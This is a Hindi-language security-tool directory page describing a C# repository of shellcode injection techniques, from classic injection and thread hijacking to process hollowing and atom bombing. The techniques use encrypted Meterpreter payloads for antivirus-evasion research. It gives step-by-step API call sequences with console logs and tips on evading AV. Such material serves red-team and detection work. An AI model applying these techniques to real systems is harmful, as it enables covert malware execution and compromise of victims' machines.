Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/plackyhacker/shellcode-injection-techniques
शोषणशेलकोडपोस्ट-शोषणरेड टीमिंग
GitHubplackyhacker/shellcode-injection-techniques

Shellcode-Injection-Techniques

C# में शेलकोड इंजेक्शन तकनीकों के कार्यान्वयन जिनमें क्लासिक इंजेक्शन, थ्रेड हाइजैकिंग, प्रोसेस हॉलोइंग और एटम बॉम्बिंग शामिल हैं, AV एवेज़न अनुसंधान के लिए AES-एन्क्रिप्टेड Meterpreter पेलोड का उपयोग करते हुए।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
4669234 साल पहलेKitploit द्वारा समीक्षित
साझा करें

शैलकोड इंजेक्शन तकनीकें

C# शैलकोड इंजेक्शन तकनीकों का एक संग्रह। सभी तकनीकें AES एन्क्रिप्टेड मीटरप्रेटर पेलोड का उपयोग करती हैं।

जैसे-जैसे मैं और तकनीकें सीखता, खोजता या विकसित करता हूँ, मैं इस प्रोजेक्ट को बनाता रहूंगा।

नोट: प्रोजेक्ट का उपयोग ज्यों-का-त्यों करने का इरादा नहीं है। यदि आप किसी भी तकनीक का उपयोग करने जा रहे हैं, तो AV को बायपास करने की बेहतर संभावना होगी यदि आप अपनी चुनी हुई तकनीक के साथ एक छोटा, अनुकूलित प्रोजेक्ट बनाते हैं।

यदि आप इन रिपॉजिटरी में किसी भी कोड का उपयोग करते हैं तो इसे कानूनी रखें!

असेंबली इंजेक्शन

यदि आप डिस्क पर .Net बाइनरी लिखने से बचना चाहते हैं तो आप PowerShell असेंबली इंजेक्शन तकनीक का उपयोग कर सकते हैं।

शैलकोड रनर

ShellcodeRunner.cs : यह तकनीक सख्ती से इंजेक्शन तकनीक नहीं है (क्योंकि हम शैलकोड को उसी प्रक्रिया में निष्पादित करते हैं) लेकिन सभी तकनीकों में सबसे सरल है। हम सुनिश्चित करते हैं कि शैलकोड unsafe संदर्भ में एक निश्चित मेमोरी स्थान का उपयोग करे। हम उस पेज पर सुरक्षा बदलते हैं जहाँ शैलकोड स्थित है ताकि हम इसे निष्पादित कर सकें। फिर हम शैलकोड को निष्पादित करने के लिए C# डेलिगेट फ़ंक्शन का उपयोग करते हैं।

root@kitploit:~
[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0
[+] Executing shellcode - memory address: 0x20D000418E0

क्लासिक इंजेक्शन

ClassicInjection.cs : यह तकनीक लक्ष्य प्रक्रिया में मेमोरी आवंटित करती है, शैलकोड इंजेक्ट करती है और एक नया थ्रेड शुरू करती है।

root@kitploit:~
[+] Found process: 24484
[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx(), assigned: 0x23642220000
[+] WriteProcessMemory() - remote address: 0x23642220000
[+] CreateRemoteThread() - thread handle: 0x380

थ्रेड हाईजैकिंग

ThreadHijack.cs : यह तकनीक लक्ष्य प्रक्रिया में कोड इंजेक्ट करके एक थ्रेड को हाईजैक करती है, हाईजैक किए गए थ्रेड को निलंबित करती है, इंस्ट्रक्शन पॉइंटर (RIP) को हमारे इंजेक्टेड कोड पर सेट करती है और फिर थ्रेड को फिर से शुरू करती है।

root@kitploit:~
[+] Found process: 11508
[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack
[+] Found thread: 9344
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x1D17AB80000
[+] WriteProcessMemory() - remote address: 0x1D17AB80000
[+] SuspendThread() - thread handle: 0x378
[+] GetThreadContext() - thread handle: 0x378
[+] RIP is: 0x7FFA77D21104
[+] SetThreadContext(), RIP assigned: 0x1D17AB80000
[+] ResumeThread() - thread handle: 0x378

स्थानीय थ्रेड हाईजैकिंग

LocalThreadHijack.cs : यह तकनीक एक नया स्थानीय थ्रेड निलंबित अवस्था में बनाती है, फिर हम थ्रेड को हाईजैक करते हैं, इंस्ट्रक्शन पॉइंटर (RIP) को हमारे इंजेक्टेड कोड पर सेट करते हैं और फिर थ्रेड को फिर से शुरू करते हैं।

root@kitploit:~
[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack
[+] CreateThread() - thread handle: 0x374
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0
[+] GetThreadContext() - thread handle: 0x374
[+] RIP is: 0x7FFA79EE2630
[+] SetThreadContext(), RIP assigned: 0x270800418E0
[+] ResumeThread() - thread handle: 0x374

अतुल्यकालिक प्रक्रिया कॉल इंजेक्शन

ACPInjection.cs : यह तकनीक थ्रेड हाईजैकिंग तकनीक के समान है। हम शैलकोड को एक रिमोट थ्रेड में इंजेक्ट करते हैं, फिर थ्रेड में एक APC ऑब्जेक्ट को कतारबद्ध करते हैं। जब थ्रेड एक अलर्टेबल अवस्था में प्रवेश करता है (जब वह SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, या WaitForSingleObjectEx को कॉल करता है) तो यह हमारे कतारबद्ध APC ऑब्जेक्ट द्वारा इंगित शैलकोड को चलाता है।

root@kitploit:~
[+] Found process: 25320
[+] Using technique: ShellcodeInjectionTechniques.APCInjection
[+] Found thread: 23796
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x24E064D0000
[+] WriteProcessMemory() - remote address: 0x24E064D0000
[+] QueueUserAPC() - thread handle: 0x378

प्रक्रिया होलोइंग

ProcessHollow.cs : यह तकनीक एक और प्रक्रिया को निलंबित अवस्था में शुरू करती है (svchost.exe), मुख्य थ्रेड एंट्री पॉइंट ढूंढती है, उसमें हमारा शैलकोड इंजेक्ट करती है और फिर थ्रेड को फिर से शुरू करती है।

root@kitploit:~
[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow
[+] CreateProcess(): C:\Windows\System32\svchost.exe
[+] Pointer to ImageBase: 0xD31E956010
[+] ReadProcessMemory() - image base pointer: 0xD31E956010
[+] ImageBase: 0x7FF6116C0000
[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000
[+] EntryPoint: 0xD31E956010
[+] WriteProcessMemory(): 0x7FF6116C4E80
[+] ResumeThread() - thread handle: 0x454

अंतर-प्रक्रिया मैप्ड व्यू

InterProcessMappedView.cs : यह तकनीक मेमोरी में एक नया सेक्शन बनाती है, सेक्शन का एक स्थानीय मैप्ड व्यू बनाती है, हमारे शैलकोड को स्थानीय मैप्ड व्यू में कॉपी करती है और लक्ष्य प्रक्रिया में स्थानीय मैप्ड व्यू का एक रिमोट मैप्ड व्यू बनाती है। अंत में हम लक्ष्य प्रक्रिया में मैप्ड व्यू को एंट्री पॉइंट के रूप में एक नया थ्रेड बनाते हैं।

root@kitploit:~
[+] Found process: 23740
[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - section handle: 0x37C
[+] NtMapViewOfSection() - local view: 0x20CB8E40000
[+] Marshalling shellcode
[+] NtMapViewOfSection() - remote view: 0x22D90310000
[+] RtlCreateUserThread() - thread handle: 0x384

एटम बॉम्बिंग

AtomBomb.cs : यह तकनीक दिलचस्प है कि हम लक्ष्य प्रक्रिया में शैलकोड कैसे लिखते हैं। हम ग्लोबल एटम टेबल का उपयोग करते हैं जो हमें अधिकतम 255 बाइट्स के आकार के साथ नल-टर्मिनेटेड स्ट्रिंग लिखने की अनुमति देता है। हम अपने शैलकोड को लिखने के लिए एक कोड केव ढूंढते हैं, फिर एटम नामों को मेमोरी में पढ़ने के लिए लक्ष्य प्रक्रिया को ट्रिगर करने के लिए APC कॉल का उपयोग करते हैं। अंत में हम लक्ष्य की मेमोरी सुरक्षा बदलने और शैलकोड को निष्पादित करने के लिए कुछ APC कॉल का उपयोग करते हैं।

मेरा कोड मूल एटम बॉम्बिंग तकनीक से भिन्न है, जो C/C++ में लिखी गई है। पहले, मैं कई APCs का उपयोग करके एटम नामों को एक साथ श्रृंखलित करता हूँ, ताकि 255 बाइट्स से बड़ा शैलकोड बन सके। मैं लक्ष्य प्रक्रिया को VirtualProtect कॉल करने और फिर कोड निष्पादित करने के लिए ROP श्रृंखलाओं का उपयोग नहीं करता, मैं APC कतार का उपयोग करता हूँ।

इस कोड के लिए मुख्य थ्रेड को APC कतार निष्पादित करने के लिए एक अलर्टेबल अवस्था में प्रवेश करने की आवश्यकता होती है और मैं शैलकोड निष्पादन के बाद सफाई नहीं करता, लक्ष्य प्रक्रिया अस्थिर हो जाती है। मैं इस तकनीक में सुधार करने की योजना बना रहा हूँ (अलर्टेबल थ्रेड्स की खोज करके और बाद में सफाई करके), लेकिन PoC के रूप में यह अच्छी तरह से काम करता है।

root@kitploit:~
[+] Found process: 14140
[+] Using technique: ShellcodeInjectionTechniques.AtomBomb
[+] Found thread: 5940
[+] OpenThread() - thread handle: 0xD0
[+] FindWritablePages() - number found: 2
[+] Found a suitable code cave - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031

नोट्स

एटम बॉम्बिंग तकनीक ग्लोबल एटम टेबल में नल-टर्मिनेटेड स्ट्रिंग रखती है, इसका मतलब है कि आपको ऐसे शैलकोड का उपयोग करना होगा जिसमें 0x00 वर्ण न हों।

याद रखें आपको इंजेक्ट करने के लिए एक प्रक्रिया शुरू करनी होगी, सिवाय जब शैलकोड रनर, स्थानीय थ्रेड हाईजैक तकनीक या प्रक्रिया होलोइंग तकनीक का उपयोग कर रहे हों (यह तकनीक निलंबित अवस्था में एक नई प्रक्रिया शुरू करती है)।

root@kitploit:~
[!] Unable to find process to inject into!

शैलकोड रनर, स्थानीय थ्रेड हाईजैक तकनीक या प्रक्रिया होलोइंग तकनीक का उपयोग करते समय आपको Program.cs में उस कोड को टिप्पणी करने की आवश्यकता होगी जो इंजेक्ट करने के लिए प्रक्रिया की तलाश करता है:

root@kitploit:~
/*
Process[] processes = Process.GetProcessesByName("notepad");

if(processes.Length == 0)
{
  Debug("[!] Unable to find process to inject into!");
  return;
}

Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() });
target = processes[0];
*/
टूल डाउनलोड करें